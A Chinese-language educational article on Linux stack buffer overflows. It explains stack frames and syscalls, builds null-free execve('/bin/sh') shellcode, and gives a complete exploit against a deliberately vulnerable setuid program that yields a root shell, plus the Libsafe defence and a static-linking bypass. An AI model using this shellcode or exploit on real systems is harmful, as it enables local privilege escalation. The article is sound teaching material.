原文:http://www.ibm.com/developerworks/cn/linux/l-overflow/
從邏輯上講進程的堆棧是由多個堆棧幀構成的,其中每個堆棧幀都對應一個函數調用。當函數調用發生時,新的堆棧幀被壓入堆棧;當函數返回時,相應的堆棧幀從堆棧中彈出。儘管堆棧幀結構的引入爲在高級語言中實現函數或過程這樣的概念提供了直接的硬件支持,但是由於將函數返回地址這樣的重要數據保存在程序員可見的堆棧中,因此也給系統安全帶來了極大的隱患。
歷史上最著名的緩衝區溢出攻擊可能要算是1988年11月2日的Morris Worm所攜帶的攻擊代碼了。這個因特網蠕蟲利用了fingerd程序的緩衝區溢出漏洞,給用戶帶來了很大危害。此後,越來越多的緩衝區溢出漏洞被發現。從bind、wu-ftpd、telnetd、apache等常用服務程序,到Microsoft、Oracle等軟件廠商提供的應用程序,都存在着似乎永遠也彌補不完的緩衝區溢出漏洞。
根據綠盟科技提供的漏洞報告,2002年共發現各種操作系統和應用程序的漏洞1830個,其中緩衝區溢出漏洞有432個,佔總數的23.6%. 而綠盟科技評出的2002年嚴重程度、影響範圍最大的十個安全漏洞中,和緩衝區溢出相關的就有6個。
在讀者閱讀本文之前有一點需要說明,文中所有示例程序的編譯運行環境爲gcc 2.7.2.3以及bash 1.14.7,如果讀者不清楚自己所使用的編譯運行環境可以通過以下命令查看:
$ gcc -v Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/2.7.2.3/specs gcc version 2.7.2.3 $ rpm -qf /bin/sh bash-1.14.7-16 |
如果讀者使用的是較高版本的gcc或bash的話,運行文中示例程序的結果可能會與這裏給出的結果不盡相符,具體原因將在相應章節中做出解釋。
爲了引起讀者的興趣,我們不妨先來看一個Linux下的緩衝區溢出攻擊實例。
#include <stdlib.h> #include <unistd.h> extern char **environ; int main(int argc, char **argv) { char large_string[128]; long *long_ptr = (long *) large_string; int i; char shellcode[] = "\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07" "\\x89\\x46\\x0c\\xb0\\x0b\\x89\\xf3\\x8d\\x4e\\x08\\x8d" "\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd" "\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh"; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) strtoul(argv[2], NULL, 16); for (i = 0; i < (int) strlen(shellcode); i++) large_string[i] = shellcode[i]; setenv("KIRIKA", large_string, 1); execle(argv[1], argv[1], NULL, environ); return 0; } |
圖1 攻擊程序exe.c
#include <stdio.h> #include <stdlib.h> int main(int argc, char **argv) { char buffer[96]; printf("- %p -\\n", &buffer); strcpy(buffer, getenv("KIRIKA")); return 0; } |
圖2 攻擊對象toto.c
將上面兩個程序分別編譯爲可執行程序,並且將toto改爲屬主爲root的setuid程序:
$ gcc exe.c -o exe $ gcc toto.c -o toto $ su Password: # chown root.root toto # chmod +s toto # ls -l exe toto -rwxr-xr-x 1 wy os 11871 Sep 28 20:20 exe* -rwsr-sr-x 1 root root 11269 Sep 28 20:20 toto* # exit |
OK,看看接下來會發生什麼。首先別忘了用whoami命令驗證一下我們現在的身份。其實Linux繼承了UNIX的一個習慣,即普通用戶的命令提示符是以$開始的,而超級用戶的命令提示符是以#開始的。
$ whoami wy $ ./exe ./toto 0xbfffffff - 0xbffffc38 - Segmentation fault $ ./exe ./toto 0xbffffc38 - 0xbffffc38 - bash# whoami root bash# |
第一次一般不會成功,但是我們可以準確得知系統的漏洞所在――0xbffffc38,第二次必然一擊斃命。當我們在新創建的shell下再次執行whoami命令時,我們的身份已經是root了!由於在所有UNIX系統下黑客攻擊的最高目標就是對root權限的追求,因此可以說系統已經被攻破了。
這裏我們模擬了一次Linux下緩衝區溢出攻擊的典型案例。toto的屬主爲root,並且具有setuid屬性,通常這種程序是緩衝區溢出的典型攻擊目標。普通用戶wy通過其含有惡意攻擊代碼的程序exe向具有缺陷的toto發動了一次緩衝區溢出攻擊,並由此獲得了系統的root權限。有一點需要說明的是,如果讀者使用的是較高版本的bash的話,即使通過緩衝區溢出攻擊exe得到了一個新的shell,在看到whoami命令的結果後您可能會發現您的權限並沒有改變,具體原因我們將在本文最後一節做出詳細的解釋。不過爲了一睹爲快,您可以先使用本文 代碼包中所帶的exe_pro.c作爲攻擊程序,而不是圖1中的exe.c。
要想了解Linux下緩衝區溢出攻擊的原理,我們必須首先掌握Linux下進程地址空間的佈局以及堆棧幀的結構。
任何一個程序通常都包括代碼段和數據段,這些代碼和數據本身都是靜態的。程序要想運行,首先要由操作系統負責爲其創建進程,並在進程的虛擬地址空間中爲其代碼段和數據段建立映射。光有代碼段和數據段是不夠的,進程在運行過程中還要有其動態環境,其中最重要的就是堆棧。圖3所示爲Linux下進程的地址空間佈局:
圖3 Linux下進程地址空間的佈局
首先,execve(2)會負責爲進程代碼段和數據段建立映射,真正將代碼段和數據段的內容讀入內存是由系統的缺頁異常處理程序按需完成的。另外,execve(2)還會將bss段清零,這就是爲什麼未賦初值的全局變量以及static變量其初值爲零的原因。進程用戶空間的最高位置是用來存放程序運行時的命令行參數及環境變量的,在這段地址空間的下方和bss段的上方還留有一個很大的空洞,而作爲進程動態運行環境的堆棧和堆就棲身其中,其中堆棧向下伸展,堆向上伸展。
知道了堆棧在進程地址空間中的位置,我們再來看一看堆棧中都存放了什麼。相信讀者對C語言中的函數這樣的概念都已經很熟悉了,實際上堆棧中存放的就是與每個函數對應的堆棧幀。當函數調用發生時,新的堆棧幀被壓入堆棧;當函數返回時,相應的堆棧幀從堆棧中彈出。典型的堆棧幀結構如圖4所示。
堆棧幀的頂部爲函數的實參,下面是函數的返回地址以及前一個堆棧幀的指針,最下面是分配給函數的局部變量使用的空間。一個堆棧幀通常都有兩個指針,其中一個稱爲堆棧幀指針,另一個稱爲棧頂指針。前者所指向的位置是固定的,而後者所指向的位置在函數的運行過程中可變。因此,在函數中訪問實參和局部變量時都是以堆棧幀指針爲基址,再加上一個偏移。對照圖4可知,實參的偏移爲正,局部變量的偏移爲負。
圖4 典型的堆棧幀結構
介紹了堆棧幀的結構,我們再來看一下在Intel i386體系結構上堆棧幀是如何實現的。圖5和圖6分別是一個簡單的C程序及其編譯後生成的彙編程序。
圖5 一個簡單的C程序example1.c
int function(int a, int b, int c) { char buffer[14]; int sum; sum = a + b + c; return sum; } void main() { int i; i = function(1,2,3); } |
圖6 example1.c編譯後生成的彙編程序example1.s
1 .file "example1.c" 2 .version "01.01" 3 gcc2_compiled.: 4 .text 5 .align 4 6 .globl function 7 .type function,@function 8 function: 9 pushl %ebp 10 movl %esp,%ebp 11 subl $20,%esp 12 movl 8(%ebp),%eax 13 addl 12(%ebp),%eax 14 movl 16(%ebp),%edx 15 addl %eax,%edx 16 movl %edx,-20(%ebp) 17 movl -20(%ebp),%eax 18 jmp .L1 19 .align 4 20 .L1: 21 leave 22 ret 23 .Lfe1: 24 .size function,.Lfe1-function 25 .align 4 26 .globl main 27 .type main,@function 28 main: 29 pushl %ebp 30 movl %esp,%ebp 31 subl $4,%esp 32 pushl $3 33 pushl $2 34 pushl $1 35 call function 36 addl $12,%esp 37 movl %eax,%eax 38 movl %eax,-4(%ebp) 39 .L2: 40 leave 41 ret 42 .Lfe2: 43 .size main,.Lfe2-main 44 .ident "GCC: (GNU) 2.7.2.3" |
這裏我們着重關心一下與函數function對應的堆棧幀形成和銷燬的過程。從圖5中可以看到,function是在main中被調用的,三個實參的值分別爲1、2、3。由於C語言中函數傳參遵循反向壓棧順序,所以在圖6中32至34行三個實參從右向左依次被壓入堆棧。接下來35行的call指令除了將控制轉移到function之外,還要將call的下一條指令addl的地址,也就是function函數的返回地址壓入堆棧。下面就進入function函數了,首先在第9行將main函數的堆棧幀指針ebp保存在堆棧中並在第10行將當前的棧頂指針esp保存在堆棧幀指針ebp中,最後在第11行爲function函數的局部變量buffer[14]和sum在堆棧中分配空間。至此,函數function的堆棧幀就構建完成了,其結構如圖7所示。
圖7 函數function的堆棧幀
讀者不妨回過頭去與圖4對比一下。這裏有幾點需要說明。首先,在Intel i386體系結構下,堆棧幀指針的角色是由ebp扮演的,而棧頂指針的角色是由esp扮演的。另外,函數function的局部變量buffer[14]由14個字符組成,其大小按說應爲14字節,但是在堆棧幀中卻爲其分配了16個字節。這是時間效率和空間效率之間的一種折衷,因爲Intel i386是32位的處理器,其每次內存訪問都必須是4字節對齊的,而高30位地址相同的4個字節就構成了一個機器字。因此,如果爲了填補buffer[14]留下的兩個字節而將sum分配在兩個不同的機器字中,那麼每次訪問sum就需要兩次內存操作,這顯然是無法接受的。還有一點需要說明的是,正如我們在本文前言中所指出的,如果讀者使用的是較高版本的gcc的話,您所看到的函數function對應的堆棧幀可能和圖7所示有所不同。上面已經講過,爲函數function的局部變量buffer[14]和sum在堆棧中分配空間是通過在圖6中第11行對esp進行減法操作完成的,而sub指令中的20正是這裏兩個局部變量所需的存儲空間大小。但是在較高版本的gcc中,sub指令中出現的數字可能不是20,而是一個更大的數字。應該說這與優化編譯技術有關,在較高版本的gcc中爲了有效運用目前流行的各種優化編譯技術,通常需要在每個函數的堆棧幀中留出一定額外的空間。
下面我們再來看一下在函數function中是如何將a、b、c的和賦給sum的。前面已經提過,在函數中訪問實參和局部變量時都是以堆棧幀指針爲基址,再加上一個偏移,而Intel i386體系結構下的堆棧幀指針就是ebp,爲了清楚起見,我們在圖7中標出了堆棧幀中所有成分相對於堆棧幀指針ebp的偏移。這下圖6中12至16的計算就一目瞭然了,8(%ebp)、12(%ebp)、16(%ebp)和-20(%ebp)分別是實參a、b、c和局部變量sum的地址,幾個簡單的add指令和mov指令執行後sum中便是a、b、c三者之和了。另外,在gcc編譯生成的彙編程序中函數的返回結果是通過eax傳遞的,因此在圖6中第17行將sum的值拷貝到eax中。
最後,我們再來看一下函數function執行完之後與其對應的堆棧幀是如何彈出堆棧的。圖6中第21行的leave指令將堆棧幀指針ebp拷貝到esp中,於是在堆棧幀中爲局部變量buffer[14]和sum分配的空間就被釋放了;除此之外,leave指令還有一個功能,就是從堆棧中彈出一個機器字並將其存放到ebp中,這樣ebp就被恢復爲main函數的堆棧幀指針了。第22行的ret指令再次從堆棧中彈出一個機器字並將其存放到指令指針eip中,這樣控制就返回到了第36行main函數中的addl指令處。addl指令將棧頂指針esp加上12,於是當初調用函數function之前壓入堆棧的三個實參所佔用的堆棧空間也被釋放掉了。至此,函數function的堆棧幀就被完全銷燬了。前面剛剛提到過,在gcc編譯生成的彙編程序中通過eax傳遞函數的返回結果,因此圖6中第38行將函數function的返回結果保存在了main函數的局部變量i中。
明白了Linux下進程地址空間的佈局以及堆棧幀的結構,我們再來看一個有趣的例子。
圖8 一個奇妙的程序example2.c
1 int function(int a, int b, int c) { 2 char buffer[14]; 3 int sum; 4 int *ret; 5 6 ret = buffer + 20; 7 (*ret) += 10; 8 sum = a + b + c; 9 return sum; 10 } 11 12 void main() { 13 int x; 14 15 x = 0; 16 function(1,2,3); 17 x = 1; 18 printf("%d\\n",x); 19 } |
在main函數中,局部變量x的初值首先被賦爲0,然後調用與x毫無關係的function函數,最後將x的值改爲1並打印出來。結果是多少呢,如果我告訴你是0你相信嗎?閒話少說,還是趕快來看看函數function都動了哪些手腳吧。這裏的function函數與圖5中的function相比只是多了一個指針變量ret以及兩條對ret進行操作的語句,就是它們使得main函數最後打印的結果變成了0。對照圖7可知,地址buffer + 20處保存的正是函數function的返回地址,第7行的語句將函數function的返回地址加了10。這樣會達到什麼效果呢?看一下main函數對應的彙編程序就一目瞭然了。
圖9 example2.c中main函數對應的彙編程序
$ gdb example2 (gdb) disassemble main Dump of assembler code for function main: 0x804832c <main>: push %ebp 0x804832d <main+1>: mov %esp,%ebp 0x804832f <main+3>: sub $0x4,%esp 0x8048332 <main+6>: movl $0x0,0xfffffffc(%ebp) 0x8048339 <main+13>: push $0x3 0x804833b <main+15>: push $0x2 0x804833d <main+17>: push $0x1 0x804833f <main+19>: call 0x80482f8 <function> 0x8048344 <main+24>: add $0xc,%esp 0x8048347 <main+27>: movl $0x1,0xfffffffc(%ebp) 0x804834e <main+34>: mov 0xfffffffc(%ebp),%eax 0x8048351 <main+37>: push %eax 0x8048352 <main+38>: push $0x80483b8 0x8048357 <main+43>: call 0x8048284 <printf> 0x804835c <main+48>: add $0x8,%esp 0x804835f <main+51>: leave 0x8048360 <main+52>: ret 0x8048361 <main+53>: lea 0x0(%esi),%esi End of assembler dump. |
地址爲0x804833f的call指令會將0x8048344壓入堆棧作爲函數function的返回地址,而圖8中第7行語句的作用就是將0x8048344加10從而變成了0x804834e。這麼一改當函數function返回時地址爲0x8048347的mov指令就被跳過了,而這條mov指令的作用正是用來將x的值改爲1。既然x的值沒有改變,我們打印看到的結果就必然是其初值0了。
當然,圖8所示只是一個示例性的程序,通過修改保存在堆棧幀中的函數的返回地址,我們改變了程序正常的控制流。圖8中程序的運行結果可能會使很多讀者感到新奇,但是如果函數的返回地址被修改爲指向一段精心安排好的惡意代碼,那時你又會做何感想呢?緩衝區溢出攻擊正是利用了在某些體系結構下函數的返回地址被保存在程序員可見的堆棧中這一缺陷,修改函數的返回地址,使得一段精心安排好的惡意代碼在函數返回時得以執行,從而達到危害系統安全的目的。
說到緩衝區溢出就不能不提shellcode,shellcode讀者已經在圖1中見過了,其作用就是生成一個shell。下面我們就來一步步看一下這段令人眼花繚亂的程序是如何得來的。首先要說明一下,Linux下的系統調用都是通過int $0x80中斷實現的。在調用int $0x80之前,eax中保存了系統調用號,而系統調用的參數則保存在其它寄存器中。圖10所示是直接利用系統調用實現的Hello World程序。
圖10 直接利用系統調用實現的Hello World程序hello.c
#include <asm/unistd.h> int errno; _syscall3(int, write, int, fd, char *, data, int, len); _syscall1(int, exit, int, status); _start() { write(0, "Hello world!\\n", 13); exit(0); } |
將其編譯鏈接生成可執行程序hello:
$ gcc -c hello.c $ ld hello.o -o hello $ ./hello Hello world! $ ls -l hello -rwxr-xr-x 1 wy os 1188 Sep 29 17:31 hello* |
有興趣的讀者可以將這個hello的大小和我們當初在第一節C語言課上學過的Hello World程序的大小比較一下,看看能不能用C語言寫出更小的Hello World程序。圖10中的_syscall3和_syscall1都是定義於/usr/include/asm/unistd.h中的宏,該文件中定義了以__NR_開頭的各種系統調用的所對應的系統調用號以及_syscall0到_syscall6六個宏,分別用於參數個數爲0到6的系統調用。由此可知,Linux系統中系統調用所允許的最大參數個數就是6個,比如mmap(2)。另外,仔細閱讀syscall0到_syscall6六個宏的定義不難發現,系統調用號是存放在寄存器eax中的,而系統調用可能會用到的6個參數依次存放在寄存器ebx、ecx、edx、esi、edi和ebp中。
清楚了系統調用的使用規則,我先來看一下如何在Linux下生成一個shell。應該說這是非常簡單的任務,使用execve(2)系統調用即可,如圖11所示。
圖11 shellcode.c在Linux下生成一個shell
#include <unistd.h> int main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); _exit(0); } |
在shellcode.c中一共用到了兩個系統調用,分別是execve(2)和_exit(2)。查看/usr/include/asm/unistd.h文件可以得知,與其相應的系統調用號__NR_execve和__NR_exit分別爲11和1。按照前面剛剛講過的系統調用規則,在Linux下生成一個shell並結束退出需要以下步驟:
- 在內存中存放一個以'\\0'結束的字符串"/bin/sh";
- 將字符串"/bin/sh"的地址保存在內存中的某個機器字中,並且後面緊接一個值爲0的機器字,這裏相當於設置好了圖11中name[2]中的兩個指針;
- 將execve(2)的系統調用號11裝入eax寄存器;
- 將字符串"/bin/sh"的地址裝入ebx寄存器;
- 將第2步中設好的字符串"/bin/sh"的地址的地址裝入ecx寄存器;
- 將第2步中設好的值爲0的機器字的地址裝入edx寄存器;
- 執行int $0x80,這裏相當於調用execve(2);
- 將_exit(2)的系統調用號1裝入eax寄存器;
- 將退出碼0裝入ebx寄存器;
- 執行int $0x80,這裏相當於調用_exit(2)。
於是我們就得到了圖12所示的彙編程序。
圖12 使用execve(2)和_exit(2)系統調用生成shell的彙編程序shellcodeasm.c
1 void main() 2 { 3 __asm__(" 4 jmp 1f 5 2: popl %esi 6 movl %esi,0x8(%esi) 7 movb $0x0,0x7(%esi) 8 movl $0x0,0xc(%esi) 9 movl $0xb,%eax 10 movl %esi,%ebx 11 leal 0x8(%esi),%ecx 12 leal 0xc(%esi),%edx 13 int $0x80 14 movl $0x1, %eax 15 movl $0x0, %ebx 16 int $0x80 17 1: call 2b 18 .string \\"/bin/sh\\" 19 "); 20 } |
這裏第4行的jmp指令和第17行的call指令使用的都是IP相對尋址方式,第14行至第16行對應於_exit(2)系統調用,由於它比較簡單,我們着重看一下調用execve(2)的過程。首先第4行的jmp指令執行之後控制就轉移到了第17行的call指令處,在call指令的執行過程中除了將控制轉移到第5行的pop指令外,還會將其下一條指令的地址壓入堆棧。然而由圖12可知,call指令後面並沒有後續的指令,而是存放了字符串"/bin/sh",於是實際被壓入堆棧的便成了字符串"/bin/sh"的地址。第5行的pop指令將剛剛壓入堆棧的字符串地址彈出到esi寄存器中。接下來的三條指令首先將esi中的字符串地址保存在字符串"/bin/sh"之後的機器字中,然後又在字符串"/bin/sh"的結尾補了個'\\0',最後將0寫入內存中合適的位置。第9行至第12行按圖13所示正確設置好了寄存器eax、ebx、ecx和edx的值,在第13行就可以調用execve(2)了。但是在編譯shellcodeasm.c之後,你會發現程序無法運行。原因就在於圖13中所示的所有數據都存放在代碼段中,而在Linux下存放代碼的頁面是不可寫的,於是當我們試圖使用圖12中第6行的mov指令進行寫操作時,頁面異常處理程序會向運行我們程序的進程發送一個SIGSEGV信號,這樣我們的終端上便會出現Segmentation fault的提示信息。
圖13調用execve(2)之前各寄存器的設置
解決的辦法很簡單,既然不能對代碼段進行寫操作,我們就把圖12中的代碼挪到可寫的數據段或堆棧段中。可是一段可執行的代碼在數據段中應該怎麼表示呢?其實,內存中存放着的無非是0和1這樣的比特,當我們的程序將其用作代碼時這些比特就成了代碼,而當我們的程序將其用作數據時這些比特又成了數據。我們先來看一下圖12中的代碼在內存中是如何存放的,通過gdb中的x命令可以很容易的做到這一點,如圖14所示。
圖14 通過gdb中的x命令查看圖12中的代碼在內存中對應的數據
$ gdb shellcodeasm (gdb) disassemble main Dump of assembler code for function main: 0x80482c4 <main>: push %ebp 0x80482c5 <main+1>: mov %esp,%ebp 0x80482c7 <main+3>: jmp 0x80482f3 <main+47> 0x80482c9 <main+5>: pop %esi 0x80482ca <main+6>: mov %esi,0x8(%esi) 0x80482cd <main+9>: movb $0x0,0x7(%esi) 0x80482d1 <main+13>: movl $0x0,0xc(%esi) 0x80482d8 <main+20>: mov $0xb,%eax 0x80482dd <main+25>: mov %esi,%ebx 0x80482df <main+27>: lea 0x8(%esi),%ecx 0x80482e2 <main+30>: lea 0xc(%esi),%edx 0x80482e5 <main+33>: int $0x80 0x80482e7 <main+35>: mov $0x1,%eax 0x80482ec <main+40>: mov $0x0,%ebx 0x80482f1 <main+45>: int $0x80 0x80482f3 <main+47>: call 0x80482c9 <main+5> 0x80482f8 <main+52>: das 0x80482f9 <main+53>: bound %ebp,0x6e(%ecx) 0x80482fc <main+56>: das 0x80482fd <main+57>: jae 0x8048367 0x80482ff <main+59>: add %cl,%cl 0x8048301 <main+61>: ret 0x8048302 <main+62>: mov %esi,%esi End of assembler dump. (gdb) x /49xb 0x80482c7 0x80482c7 <main+3>: 0xeb 0x2a 0x5e 0x89 0x76 0x08 0xc6 0x46 0x80482cf <main+11>: 0x07 0x00 0xc7 0x46 0x0c 0x00 0x00 0x00 0x80482d7 <main+19>: 0x00 0xb8 0x0b 0x00 0x00 0x00 0x89 0xf3 0x80482df <main+27>: 0x8d 0x4e 0x08 0x8d 0x56 0x0c 0xcd 0x80 0x80482e7 <main+35>: 0xb8 0x01 0x00 0x00 0x00 0xbb 0x00 0x00 0x80482ef <main+43>: 0x00 0x00 0xcd 0x80 0xe8 0xd1 0xff 0xff 0x80482f7 <main+51>: 0xff |
從jmp指令的起始地址0x80482c7到call指令的結束地址0x80482f8,一共49個字節。起始地址爲0x80482f8的8個字節的內存單元中實際存放的是字符串"/bin/sh",因此我們在那裏看到了幾條奇怪的指令。至此,我們的shellcode已經初具雛形了,但是還有幾處需要改進。首先,將來我們要通過strcpy(3)這種存在安全隱患的函數將上面的代碼拷貝到某個內存緩衝區中,而strcpy(3)在遇到內容爲'\\0'的字節時就會停止拷貝。然而從圖14中可以看到,我們的代碼中有很多這樣的'\\0'字節,因此需要將它們全部去掉。另外,某些指令的長度可以縮減,以使得我們的shellcode更加精簡。按照圖15所列的改進方案,我們便得到了圖16中最終的shellcode。
圖15 shellcode的改進方案
存在問題的指令 改進後的指令 movb $0x0,0x7(%esi) xorl %eax,%eax molv $0x0,0xc(%esi) movb %eax,0x7(%esi) movl %eax,0xc(%esi) movl $0xb,%eax movb $0xb,%al movl $0x1, %eax xorl %ebx,%ebx movl $0x0, %ebx movl %ebx,%eax inc %eax |
圖16 最終的shellcode彙編程序shellcodeasm2.c
void main() { __asm__(" jmp 1f 2: popl %esi movl %esi,0x8(%esi) xorl %eax,%eax movb %eax,0x7(%esi) movl %eax,0xc(%esi) movb $0xb,%al movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 xorl %ebx,%ebx movl %ebx,%eax inc %eax int $0x80 1: call 2b .string \\"/bin/sh\\" "); } |
同樣,按照上面的方法再次查看內存中的shellcode代碼,如圖16所示。我們在圖16中再次列出了圖1 用到過的shellcode,有興趣的讀者不妨比較一下。
圖17 shellcode的來歷
$ gdb shellcodeasm2 (gdb) disassemble main Dump of assembler code for function main: 0x80482c4 <main>: push %ebp 0x80482c5 <main+1>: mov %esp,%ebp 0x80482c7 <main+3>: jmp 0x80482e8 <main+36> 0x80482c9 <main+5>: pop %esi 0x80482ca <main+6>: mov %esi,0x8(%esi) 0x80482cd <main+9>: xor %eax,%eax 0x80482cf <main+11>: mov %al,0x7(%esi) 0x80482d2 <main+14>: mov %eax,0xc(%esi) 0x80482d5 <main+17>: mov $0xb,%al 0x80482d7 <main+19>: mov %esi,%ebx 0x80482d9 <main+21>: lea 0x8(%esi),%ecx 0x80482dc <main+24>: lea 0xc(%esi),%edx 0x80482df <main+27>: int $0x80 0x80482e1 <main+29>: xor %ebx,%ebx 0x80482e3 <main+31>: mov %ebx,%eax 0x80482e5 <main+33>: inc %eax 0x80482e6 <main+34>: int $0x80 0x80482e8 <main+36>: call 0x80482c9 <main+5> 0x80482ed <main+41>: das 0x80482ee <main+42>: bound %ebp,0x6e(%ecx) 0x80482f1 <main+45>: das 0x80482f2 <main+46>: jae 0x804835c 0x80482f4 <main+48>: add %cl,%cl 0x80482f6 <main+50>: ret 0x80482f7 <main+51>: nop End of assembler dump. (gdb) x /38xb 0x80482c7 0x80482c7 <main+3>: 0xeb 0x1f 0x5e 0x89 0x76 0x08 0x31 0xc0 0x80482cf <main+11>: 0x88 0x46 0x07 0x89 0x46 0x0c 0xb0 0x0b 0x80482d7 <main+19>: 0x89 0xf3 0x8d 0x4e 0x08 0x8d 0x56 0x0c 0x80482df <main+27>: 0xcd 0x80 0x31 0xdb 0x89 0xd8 0x40 0xcd 0x80482e7 <main+35>: 0x80 0xe8 0xdc 0xff 0xff 0xff char shellcode[] = "\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b" "\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd" "\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh"; |
我猜當你看到這裏時一定也像我當初一樣已經熱血沸騰、迫不及待了吧?那就趕快來試一下吧。
圖18 通過程序testsc.c驗證我們的shellcode
char shellcode[] = "\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b" "\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd" "\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } |
將testsc.c編譯成可執行程序,再運行testsc就可以看到shell了!
$ gcc testsc.c -o testsc $ ./testsc bash$ |
圖19描繪了testsc.c程序所作的一切,相信有了前面那麼長的鋪墊,讀者在看到圖19時應該已經沒有困難了。
圖19 程序testsc.c的控制流程
下面我們該回頭看看本文開頭的那個Linux下緩衝區溢出攻擊實例了。攻擊程序exe.c利用了系統中存在漏洞的程序toto.c,通過以下步驟向系統發動了一次緩衝區溢出攻擊:
- 通過命令行參數argv[2]得到toto.c程序中緩衝區buffer[96]的地址,並將該地址填充到large_string[128]中;
- 將我們已經準備好的shellcode拷貝到large_string[128]的開頭;
- 通過環境變量KIRIKA將我們的shellcode注射到buffer[96]中;
- 當toto.c程序中的main函數返回時,buffer[96]中的shellcode得以運行;由於toto的屬主爲root,並且具有setuid屬性,因此我們得到的shell便具有了root權限。
程序exe.c的控制流程與圖19所示程序testsc.c的控制流程非常相似,唯一的不同在於這次我們的shellcode是寄宿在toto運行時的堆棧裏,而不是在數據段中。之所以不能再將shellcode放在數據段中是因爲當我們在程序exe.c中調用execle(3) 運行toto時,進程整個地址空間的映射會根據toto程序頭部的描述信息重新設置,而原來的地址空間中數據段的內容已經不能再訪問了,因此在程序exe.c中shellcode是通過環境變量來傳遞的。
怎麼樣,是不是感覺傳說中的黑客不再像你想象的那樣神祕了?暫時不要妄下結論,在上面的緩衝區溢出攻擊實例中,攻擊程序exe之所以能夠準確的將shellcode注射到toto的buffer[96]中,關鍵在於我們在toto程序中打印出了buffer[96]在堆棧中的起始地址。當然,在實際的系統中,不要指望有像toto這樣家有醜事還自揭瘡疤的事情發生。
瞭解了緩衝區溢出攻擊的原理,接下來要做的顯然就是要找出克敵之道。這裏,我們主要介紹一種非常簡單但是又比較流行的方法――Libsafe。
在標準C庫中存在着很多像strcpy(3)這種用於處理字符串的函數,它們將一個字符串拷貝到另一個字符串中。對於何時停止拷貝,這些函數通常只有一個判斷標準,即是否遇上了'\\0'字符。然而這個唯一的標準顯然是不夠的。我們在上一節剛剛分析過的Linux下緩衝區溢出攻擊實例正是利用strcpy(3)對系統實施了攻擊,而strcpy(3)的缺陷就在於在拷貝字符串時沒有將目的字符串的大小這一因素考慮進來。像這樣的函數還有很多,比如strcat、gets、scanf、sprintf等等。統計數據表明,在已經發現的緩衝區溢出攻擊案例中,肇事者多是這些函數。正是基於上述事實,Avaya實驗室推出了Libsafe。
在現在的Linux系統中,程序鏈接時所使用的大多都是動態鏈接庫。動態鏈接庫本身就具有很多優點,比如在庫升級之後,系統中原有的程序既不需要重新編譯也不需要重新鏈接就可以使用升級後的動態鏈接庫繼續運行。除此之外,Linux還爲動態鏈接庫的使用提供了很多靈活的手段,而預載(preload)機制就是其中之一。在Linux下,預載機制是通過環境變量LD_PRELOAD的設置提供的。簡單來說,如果系統中有多個不同的動態鏈接庫都實現了同一個函數,那麼在鏈接時優先使用環境變量LD_PRELOAD中設置的動態鏈接庫。這樣一來,我們就可以利用Linux提供的預載機制將上面提到的那些存在安全隱患的函數替換掉,而Libsafe正是基於這一思想實現的。
圖20所示的testlibsafe.c是一段非常簡單的程序,字符串buf2[16]中首先被寫滿了'A',然後再通過strcpy(3)將其拷貝到buf1[8]中。由於buf2[16]比buf1[8]要大,顯然會發生緩衝區溢出,而且很容易想到,由於'A'的二進制表示爲0x41,所以main函數的返回地址被改爲了0x41414141。這樣當main返回時就會發生Segmentation fault。
圖20 測試Libsafe
#include <string.h> void main() { char buf1[8]; char buf2[16]; int i; for (i = 0; i < 16; ++i) buf2[i] = 'A'; strcpy(buf1, buf2); } |
$ gcc testlibsafe.c -o testlibsafe $ ./testlibsafe Segmentation fault (core dumped) |
下面我們就來看一看Libsafe是如何保護我們免遭緩衝區溢出攻擊的。首先,在系統中安裝Libsafe,本文的附件中提供了其2.0版的安裝包。
$ su Password: # rpm -ivh libsafe-2.0-2.i386.rpm libsafe ################################################## # exit |
至此安裝還沒有結束,接下來還要正確設置環境變量LD_PRELOAD。
$ export LD_PRELOAD=/lib/libsafe.so.2 |
下面就可以來試試看了。
$ ./testlibsafe Detected an attempt to write across stack boundary. Terminating /home2/wy/projects/overflow/bof/testlibsafe. uid=1011 euid=1011 pid=9481 Call stack: 0x40017721 0x4001780a 0x8048328 0x400429c6 Overflow caused by strcpy() |
可以看到,Libsafe正確檢測到了由strcpy()函數導致的緩衝區溢出,其uid、euid和pid,以及進程運行時的Call stack也被一併列出。另外,這些信息不光是在終端上顯示,還會被記錄到系統日誌中,這樣系統管理員就可以掌握潛在的攻擊來源並及時加以防範。
那麼,有了Libsafe我們就可以高枕無憂了嗎?千萬不要有這種天真的想法,在計算機安全領域入侵與反入侵的較量永遠都不會停止。其實Libsafe爲我們提供的保護可以被輕易的破壞掉。由於Libsafe的實現依賴於Linux系統爲動態鏈接庫所提供的預載機制,因此對於使用靜態鏈接庫的具有緩衝區溢出漏洞的程序Libsafe也就無能爲力了。
$ gcc -static testlibsafe.c -o testlibsafe_static $ env | grep LD LD_PRELOAD=/lib/libsafe.so.2 $ ./testlibsafe_static Segmentation fault (core dumped) |
如果在使用gcc編譯時加上-static選項,那麼鏈接時使用的便是靜態鏈接庫。在系統已經安裝了Libsafe的情況下,可以看到testlibsafe_static再次產生了Segmentation fault。
